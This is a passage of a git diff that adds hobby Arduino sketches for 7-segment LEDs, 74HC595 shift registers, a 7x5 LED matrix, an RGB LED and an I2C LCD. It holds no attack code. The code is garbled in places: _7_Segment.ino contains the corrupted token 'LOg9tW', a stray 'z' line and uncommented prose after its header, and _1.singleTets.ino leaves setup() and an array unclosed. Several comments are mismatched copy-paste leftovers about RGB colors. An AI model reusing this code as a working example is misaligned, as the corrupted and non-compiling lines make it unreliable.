+} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} diff --git a/Projects/7 Segment Main/_7_Segment/_7_Segment.ino b/Projects/7 Segment Main/_7_Segment/_7_Segment.ino new file mode 100755 index 0000000..c7a976e --- /dev/null +++ b/Projects/7 Segment Main/_7_Segment/_7_Segment.ino @@ -0,0 +1,288 @@ +/* +Make Projects: How to Drive a 7 Segment LED + URL: + By: Riley Porter + This is an introduction on how to drive a 7 Segment LED using only a Arduino. This is + not the best way to do this. This is meant to be a learning excercise. In later tutorials + I will show you how to use an dedicated IC using SPI or a Shift Register. Enjoy. + */ + + digitalWrite(A, HIGH) = turn off the "A" segment in the LED display + digitalWrite(B, LOW) = turn on the "B" segment in the LED display + + + +#define A 8 +#define B 9 +#define C 2 +#define D 3 +#define E 4 +#define F 5 +#define G 6 + + + + +void clr() +{ + //Clears the LED + digitalWrite(A, HIGH); + digitalWrite(B, HIGH); + digitalWrite(C, HIGH); + digitalWrite(D, HIGH); + digitalWrite(E, HIGH); + digitalWrite(F, HIGH); + digitalWrite(G, HIGH); + +} + + +void char_A() +{ + digitalWrite(D, HIGH); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOg9tW); +} +z +void char_B() +{ + //Displays B + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, HIGH); + digitalWrite(B, HIGH); + digitalWrite(C, LOW); +} + +void char_C() +{ + //Displays C + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, HIGH); + digitalWrite(A, LOW); + digitalWrite(B, HIGH); + digitalWrite(C, HIGH); +} + +void char_D() +{ + //Displays D + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, HIGH); + digitalWrite(G, LOW); + digitalWrite(A, HIGH); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void char_E() +{ + //Displays E + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, HIGH); + digitalWrite(C, HIGH); +} + +void char_F() +{ + //Displays F + digitalWrite(D, HIGH); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, HIGH); + digitalWrite(C, HIGH); +} + + +void one() +{ + //Displays 1 + digitalWrite(D, HIGH); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, HIGH); + digitalWrite(A, HIGH); + digitalWrite(B, HIGH); + digitalWrite(C, HIGH); +} + +void two() +{ + //Displays 2 + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, HIGH); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, HIGH); +} + +void three() +{ + //Displays 3 + digitalWrite(D, LOW); + digitalWrite(E, HIGH); + digitalWrite(F, HIGH); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void four() +{ + //Displays 4 + digitalWrite(D, HIGH); + digitalWrite(E, HIGH); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, HIGH); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void five() +{ + //Displays 5 + digitalWrite(D, LOW); + digitalWrite(E, HIGH); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, HIGH); + digitalWrite(C, LOW); +} + +void six() +{ + //Displays 6 + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, HIGH); + digitalWrite(C, LOW); +} + +void seven() +{ + //Displays 7 + digitalWrite(D, HIGH); + digitalWrite(E, HIGH); + digitalWrite(F, HIGH); + digitalWrite(G, HIGH); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void eight() +{ + //Displays 8 + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void nine() +{ + //Displays 9 + digitalWrite(D, LOW); + digitalWrite(E, HIGH); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void zero() +{ + //Displays 0 + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, HIGH); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void LoopDisplay() +{ + //Loop through all Chars and Numbers + char_A(); + delay(1000); + char_B(); + delay(1000); + char_C(); + delay(1000); + char_D(); + delay(1000); + char_E(); + delay(1000); + char_F(); + delay(1000); + one(); + delay(1000); + two(); + delay(1000); + three(); + delay(1000); + four(); + delay(1000); + five(); + delay(1000); + six(); + delay(1000); + seven(); + delay(1000); + eight(); + delay(1000); + nine(); + delay(1000); + zero(); + delay(1000); +} + +void setup() +{ + //Setup our pins + pinMode(A, OUTPUT); + pinMode(B, OUTPUT); + pinMode(C, OUTPUT); + pinMode(D, OUTPUT); + pinMode(E, OUTPUT); + pinMode(F, OUTPUT); + pinMode(G, OUTPUT); + Serial.begin(9600); //Begin serial communcation + +} + +void loop() +{ + Serial.println("Starting\n"); + LoopDisplay(); + +} diff --git a/Projects/7 Segment Main/_7_Segment_Letters/_7_Segment_Letters.ino b/Projects/7 Segment Main/_7_Segment_Letters/_7_Segment_Letters.ino new file mode 100755 index 0000000..a7646ca --- /dev/null +++ b/Projects/7 Segment Main/_7_Segment_Letters/_7_Segment_Letters.ino @@ -0,0 +1,98 @@ +int ledDigitalOne[] = {1, 2, 3, 4, 5, 6, 7}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON = HIGH; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF = LOW; //Define off as HIGH + +//Predefined Colors + +const boolean One[] = {OFF, ON, OFF, OFF, OFF, OFF, ON}; +const boolean Two[] = {ON, OFF, ON, ON, OFF, ON, ON}; +const boolean Three[] = {ON, ON, OFF, ON, OFF, ON, ON}; +const boolean Four[] = {OFF, ON, OFF, ON, ON, OFF, ON}; +const boolean Five[] = {ON, ON, OFF, ON, ON, ON, OFF}; +const boolean Six[] = {ON, ON, ON, ON, ON, ON, OFF}; +const boolean Seven[] = {OFF, ON, OFF, OFF, OFF, ON, ON}; +const boolean Eight[] = {ON, ON, ON, ON, ON, ON, ON}; +const boolean Nine[] = {ON, ON, OFF, ON, ON, ON, ON}; +const boolean Zero[] = {ON, ON, ON, OFF, ON, ON, ON}; + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + +void setup(){ + for(int i = 0; i < 9; i++){ + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } +} + +void loop(){ + +/* Example - 1 Set a color + Set the three LEDs to any predefined color +*/ + + + setNumber(ledDigitalOne, Eight); //Set the color of LED one + + for (int i = 0; i < 10; i++) + { + setNumber(ledDigitalOne, Nine); + delay (1000); + setNumber(ledDigitalOne, Eight); + delay (1000); + setNumber(ledDigitalOne, Seven); + delay (1000); + setNumber(ledDigitalOne, Six); + delay (1000); + setNumber(ledDigitalOne, Five); + delay (1000); + setNumber(ledDigitalOne, Four); + delay (1000); + setNumber(ledDigitalOne, Three); + delay (1000); + setNumber(ledDigitalOne, Two); + delay (1000); + setNumber(ledDigitalOne, One); + delay (1000); + setNumber(ledDigitalOne, Zero); + delay (1000); + } + +/* Example - 2 Go through Random Colors + Set the LEDs to a random color +*/ + //randomNumber(); + +} + +//void randomNumber(){ + //int rand = random(0, sizeof(NUMBER / 2); //get a random number within the range of colors + //setNumber(ledDigitalOne, NUMBER[rand]); //Set the color of led one to a random color + //delay(1000); +//} + +/* Sets an led to any color + led - a three element array defining the three color pins (led[0] = redPin, led[1] = greenPin, led[2] = bluePin) + color - a three element boolean array (color[0] = red value (LOW = on, HIGH = off), color[1] = green value, color[2] =blue value) +*/ + +void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} +// the loop routine runs over and over again forever: + diff --git a/Projects/7 Segment Main/_7_Segment_Self/_7_Segment_Self.ino b/Projects/7 Segment Main/_7_Segment_Self/_7_Segment_Self.ino new file mode 100755 index 0000000..b4808ef --- /dev/null +++ b/Projects/7 Segment Main/_7_Segment_Self/_7_Segment_Self.ino @@ -0,0 +1,98 @@ +int ledDigitalOne[] = {13, 12, 11, 10, 9, 8, 7}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON = HIGH; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF = LOW; //Define off as HIGH + +//Predefined Colors + +const boolean One[] = {ON, OFF, OFF, OFF, OFF, OFF, ON}; +const boolean Two[] = {OFF, ON, ON, ON, OFF, ON, ON}; +const boolean Three[] = {ON, ON, OFF, ON, OFF, ON, ON}; +const boolean Four[] = {ON, OFF, OFF, ON, ON, OFF, ON}; +const boolean Five[] = {ON, ON, OFF, ON, ON, ON, OFF}; +const boolean Six[] = {ON, ON, ON, ON, ON, ON, OFF}; +const boolean Seven[] = {ON, OFF, OFF, OFF, OFF, ON, ON}; +const boolean Eight[] = {ON, ON, ON, ON, ON, ON, ON}; +const boolean Nine[] = {ON, ON, OFF, ON, ON, ON, ON}; +const boolean Zero[] = {ON, ON, ON, OFF, ON, ON, ON}; + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + +void setup(){ + for(int i = 0; i < 9; i++){ + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } +} + +void loop(){ + +/* Example - 1 Set a color + Set the three LEDs to any predefined color +*/ + + + setNumber(ledDigitalOne, Eight); //Set the color of LED one + + for (int i = 0; i < 10; i++) + { + setNumber(ledDigitalOne, Nine); + delay (500); + setNumber(ledDigitalOne, Eight); + delay (500); + setNumber(ledDigitalOne, Seven); + delay (500); + setNumber(ledDigitalOne, Six); + delay (500); + setNumber(ledDigitalOne, Five); + delay (500); + setNumber(ledDigitalOne, Four); + delay (500); + setNumber(ledDigitalOne, Three); + delay (500); + setNumber(ledDigitalOne, Two); + delay (500); + setNumber(ledDigitalOne, One); + delay (500); + setNumber(ledDigitalOne, Zero); + delay (500); + } + +/* Example - 2 Go through Random Colors + Set the LEDs to a random color +*/ + //randomNumber(); + +} + +//void randomNumber(){ + //int rand = random(0, sizeof(NUMBER / 2); //get a random number within the range of colors + //setNumber(ledDigitalOne, NUMBER[rand]); //Set the color of led one to a random color + //delay(1000); +//} + +/* Sets an led to any color + led - a three element array defining the three color pins (led[0] = redPin, led[1] = greenPin, led[2] = bluePin) + color - a three element boolean array (color[0] = red value (LOW = on, HIGH = off), color[1] = green value, color[2] =blue value) +*/ + +void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} +// the loop routine runs over and over again forever: + diff --git a/Projects/7 Segment Main/_7_Segment_w__74HC/_7_Segment_w__74HC.ino b/Projects/7 Segment Main/_7_Segment_w__74HC/_7_Segment_w__74HC.ino new file mode 100755 index 0000000..93f3564 --- /dev/null +++ b/Projects/7 Segment Main/_7_Segment_w__74HC/_7_Segment_w__74HC.ino @@ -0,0 +1,98 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 11; +int latch = 12; +int clock = 13; + +//Used for single LED manipulation +int ledState = 1; +const int ON = HIGH; +const int OFF = LOW; + + +/* + * setup() - this function runs once when you turn your Arduino on + * We set the three control pins to outputs + */ +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); +} + +/* + * loop() - this function will start after setup finishes and then repeat + * we set which LEDs we want on then call a routine which sends the states to the 74HC595 + */ +void loop() // run over and over again +{ + int delayTime = 100; //the number of milliseconds to delay between LED updates + for(int i = 0; i < 256; i++){ + updateLEDs(i); + delay(delayTime); + } +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B0000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } diff --git a/Projects/7 Segment Main/_8_LED_74HC/_8_LED_74HC.ino b/Projects/7 Segment Main/_8_LED_74HC/_8_LED_74HC.ino new file mode 100755 index 0000000..19cc760 --- /dev/null +++ b/Projects/7 Segment Main/_8_LED_74HC/_8_LED_74HC.ino @@ -0,0 +1,236 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 2; +int clock = 3; +int latch = 4; + +//Used for single LED manipulation +int ledState = 0; +const int ON = HIGH; +const int OFF = LOW; + + +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); +} + +/* + * loop() - this function will start after setup finishes and then repeat + * we set which LEDs we want on then call a routine which sends the states to the 74HC595 + */ +void loop() // run over and over again +{ + int delayTime = 500; + for (int i = 0; i < 8; i++) + { + changeLED(0,ON); // - 9 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 8 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 7 + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 6 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 5 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 4 + changeLED(3,ON); + changeLED(4,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 3 + changeLED(1,ON); + changeLED(3,ON); + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - 2 + changeLED(2,ON); + changeLED(3,ON); + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 1 + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 0 + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + } + for (int i = 0; i < 7; i++) + { + changeLED(i,OFF); + delay(delayTime); + } +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } diff --git a/Projects/7x5 Display/_1.singleTest/_1.singleTest.ino b/Projects/7x5 Display/_1.singleTest/_1.singleTest.ino new file mode 100644 index 0000000..9e725a8 --- /dev/null +++ b/Projects/7x5 Display/_1.singleTest/_1.singleTest.ino @@ -0,0 +1,109 @@ +byte led_row[7] = {5,2,6,11,7,13,8}; +byte led_col[5] = {3,9,10,4,12}; +long prevTime = -1000; +long interval = 5000; + +byte draw_task[7][5] = { + { 0,1,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}}; + +byte zero[7][5] = { + { 0,1,1,1,0}, + { 1,0,0,0,1}, + { 1,0,0,0,1}, + { 1,0,0,0,1}, + { 1,0,0,0,1}, + { 1,0,0,0,1}, + { 0,1,1,1,0}}; + + byte one[7][5] = { + { 0,1,1,0,0}, + { 1,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 1,1,1,1,1}}; + + byte two[7][5] = { + { 1,0,0,0,1}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 0,0,1,0,0}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 1,0,0,0,1}}; + + byte three[7][5] = { + { 1,0,0,0,1}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 0,0,1,0,0}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 1,0,0,0,1}}; + + byte four[7][5] = { + { 1,0,0,0,1}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 0,0,1,0,0}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 1,0,0,0,1}}; + +void setup() { + pinMode( 3, OUTPUT ); + pinMode( 9, OUTPUT ); + pinMode( 10, OUTPUT ); + pinMode( 4, OUTPUT ); + pinMode( 12, OUTPUT ); + + pinMode( 5, OUTPUT ); + pinMode( 2, OUTPUT ); + pinMode( 6, OUTPUT ); + pinMode( 11, OUTPUT ); + pinMode( 7, OUTPUT ); + pinMode( 13, OUTPUT ); + pinMode( 8, OUTPUT ); + + for (int i = 0; i < 7; i++) { + digitalWrite(led_row[i], 1); + } + for (int i = 0; i < 5; i++) { + digitalWrite(led_col[i], 0); + } + + delay(500); + draw(); +} + +void draw() { + draw_task[7][5] = zero[7][5]; +// unsigned long currentTime = millis(); +// +// if (currentTime - prevTime > interval) { +// prevTime = currentTime; +// draw_task[7][5] = one[7][5]; +// } +// else { +// +// } +} + +void loop() { + for (int i = 0; i < 7; i++) { + digitalWrite(led_row[i], 1); + for (int j = 0; j < 5; j++) { + digitalWrite(led_col[j], (draw_task[i][j] == 1 ? 0 : 1)); + } + delayMicroseconds(900); + digitalWrite(led_row[i], 0); + } + +} diff --git a/Projects/7x5 Display/_1.singleTets/_1.singleTets.ino b/Projects/7x5 Display/_1.singleTets/_1.singleTets.ino new file mode 100644 index 0000000..b0cd0e4 --- /dev/null +++ b/Projects/7x5 Display/_1.singleTets/_1.singleTets.ino @@ -0,0 +1,69 @@ +int idx = 0; unsigned long last; + +void setup() { + last = millis(); + pinMode( 3, OUTPUT ); + pinMode( 9, OUTPUT ); + pinMode( 10, OUTPUT ); + pinMode( 4, OUTPUT ); + pinMode( 12, OUTPUT ); + + pinMode( 5, OUTPUT ); + pinMode( 2, OUTPUT ); + pinMode( 6, OUTPUT ); + pinMode( 11, OUTPUT ); + pinMode( 7, OUTPUT ); + pinMode( 13, OUTPUT ); + pinMode( 8, OUTPUT ); + + byte led[5][7] = { + {0,0,0,0,0}, + {0,0,0,0,0}, + {0,0,0,0,0}, + {0,0,0,0,0}, + {0,0,0,0,0}, + {0,0,0,0,0}, + {0,0,0,0,0}, +} + +byte leds[7][5]; + +void setPattern( byte pattern[20][5], int idx ) { + for( int r =0; r < 7; r++) { + for( int c = 0; c < 5; c++) { + leds[r][c] = pattern[r + idx][c]; + } + } +} + +void draw() { + + for( int r =0; r < 7; r ++ ) { + digitalWrite( r + 2, HIGH ); + for( int c=0; c < 5; c ++ ) { + digitalWrite( 13 - c, ( leds[r][c] == 1 ? LOW : HIGH )); + } + delayMicroseconds(900); + digitalWrite( r + 2, LOW ); + } +} + +void loop() { + if ( millis() - last > 400 ) { + idx = (idx == 0 ? 7 : 0); + last = millis(); + } + + byte tmp[14][5] = { + { 1,1,1,1,1}, + { 1,1,1,1,1}, + { 1,1,1,1,1}, + { 1,1,1,1,1}, + { 1,1,1,1,1}, + { 1,1,1,1,1}, + { 1,1,1,1,1}, + }; + + setPattern( tmp, idx ); + draw(); +} diff --git a/Projects/Colorful_Light_RGB_LEDs/Colorful_Light_RGB_LEDs.ino b/Projects/Colorful_Light_RGB_LEDs/Colorful_Light_RGB_LEDs.ino new file mode 100755 index 0000000..842ea69 --- /dev/null +++ b/Projects/Colorful_Light_RGB_LEDs/Colorful_Light_RGB_LEDs.ino @@ -0,0 +1,78 @@ +/* --------------------------------------------------------- + * | Experimentation Kit for Arduino Example Code | + * | CIRC-RGB .: Colourful Light :. (RGB LED) | + * --------------------------------------------------------- + * + * We've blinked an LED and controlled eight in sequence now it's time to + * control colour. Using an RGB LED (actual 3 LEDs in a single housing) + * we can generate any colour our heart desires. + * + * (we'll also use a few programming shortcuts to make the code + * more portable/readable) + */ + + +//RGB LED pins +int ledDigitalOne[] = {9, 10, 11}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON = LOW; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF = HIGH; //Define off as HIGH + +//Predefined Colors +const boolean RED[] = {ON, OFF, OFF}; +const boolean BLUE[] = {OFF, ON, OFF}; +const boolean GREEN[] = {OFF, OFF, ON}; +const boolean YELLOW[] = {ON, OFF, ON}; +const boolean CYAN[] = {OFF, ON, ON}; +const boolean MAGENTA[] = {ON, ON, OFF}; +const boolean WHITE[] = {ON, ON, ON}; +const boolean BLACK[] = {OFF, OFF, OFF}; + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* COLORS[] = {RED, GREEN, BLUE, YELLOW, CYAN, MAGENTA, WHITE, BLACK}; + +void setup(){ + for(int i = 0; i < 3; i++){ + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } +} + +void loop(){ + +/* Example - 1 Set a color + Set the three LEDs to any predefined color +*/ + setColor(ledDigitalOne, RED); //Set the color of LED one + + +/* Example - 2 Go through Random Colors + Set the LEDs to a random color +*/ + randomColor(); + +} + +void randomColor(){ + int rand = random(0, sizeof(COLORS) / 2); //get a random number within the range of colors + setColor(ledDigitalOne, COLORS[rand]); //Set the color of led one to a random color + delay(1000); +} + +/* Sets an led to any color + led - a three element array defining the three color pins (led[0] = redPin, led[1] = greenPin, led[2] = bluePin) + color - a three element boolean array (color[0] = red value (LOW = on, HIGH = off), color[1] = green value, color[2] =blue value) +*/ +void setColor(int* led, boolean* color){ + for(int i = 0; i < 3; i++){ + digitalWrite(led[i], color[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ +void setColor(int* led, const boolean* color){ + boolean tempColor[] = {color[0], color[1], color[2]}; + setColor(led, tempColor); +} diff --git a/Projects/I2C_20x4_Test/I2C_20x4_Test/I2C_20x4_Test.ino b/Projects/I2C_20x4_Test/I2C_20x4_Test/I2C_20x4_Test.ino new file mode 100644 index 0000000..75ccb5a --- /dev/null +++ b/Projects/I2C_20x4_Test/I2C_20x4_Test/I2C_20x4_Test.ino @@ -0,0 +1,39 @@ +#include +#include + +#define I2C_ADDR 0x3F +#define En_pin 2 +#define Rw_pin 5 +#define Rs_pin 4 +#define D4_pin 0 +#define D5_pin 1 +#define D6_pin 6 +#define D7_pin 7 +#define BACKLIGHT_PIN 3 + +LiquidCrystal_I2C lcd(I2C_ADDR, En_pin, Rw_pin, Rs_pin, + D4_pin, D5_pin, D6_pin, D7_pin); + +void setup() { + Serial.begin(9600); + lcd.begin (20, 4); + + // Switch on the backlight + lcd.setBacklightPin(BACKLIGHT_PIN, POSITIVE); + lcd.setBacklight(HIGH); + + // Position cursor and write some text + lcd.print("Poop in face"); +} + +void loop() { + if (Serial.available()) { + lcd.clear(); + lcd.home(); + while(Serial.available() > 0) { + lcd.print(Serial.read()); + delay(1000); + } + } + +} diff --git a/Projects/IR_LightSwitch/IR_LightSwitch.ino b/Projects/IR_LightSwitch/IR_LightSwitch.ino new file mode 100755 index 0000000..dbc5661 --- /dev/null +++ b/Projects/IR_LightSwitch/IR_LightSwitch.ino @@ -0,0 +1,92 